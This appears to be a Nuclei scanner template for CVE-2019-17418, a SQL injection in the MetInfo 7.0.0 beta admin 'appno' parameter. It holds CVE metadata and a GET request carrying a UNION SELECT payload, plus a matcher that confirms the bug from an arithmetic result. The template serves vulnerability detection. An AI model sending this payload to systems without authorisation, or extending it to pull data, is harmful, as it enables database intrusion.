id: CVE-2019-17418 info: name: MetInfo 7.0.0 beta - SQL Injection author: ritikchaddha severity: high description: | MetInfo 7.0.0 beta is susceptible to SQL injection via the admin/?n=language&c=language_general&a=doSearchParameter appno parameter (a different issue than CVE-2019-16997). reference: - https://github.com/evi1code/Just-for-fun/issues/2 - https://nvd.nist.gov/vuln/detail/CVE-2019-17418 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2019-17418 cwe-id: CWE-89 cpe: cpe:2.3:a:metinfo:metinfo:*:*:*:*:*:*:*:* epss-score: 0.62858 tags: cve,cve2019,metinfo,sqli metadata: max-request: 1 http: - method: GET path: - "{{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin" host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - "43865094559" - type: status status: - 200 # Enhanced by mp on 2022/06/17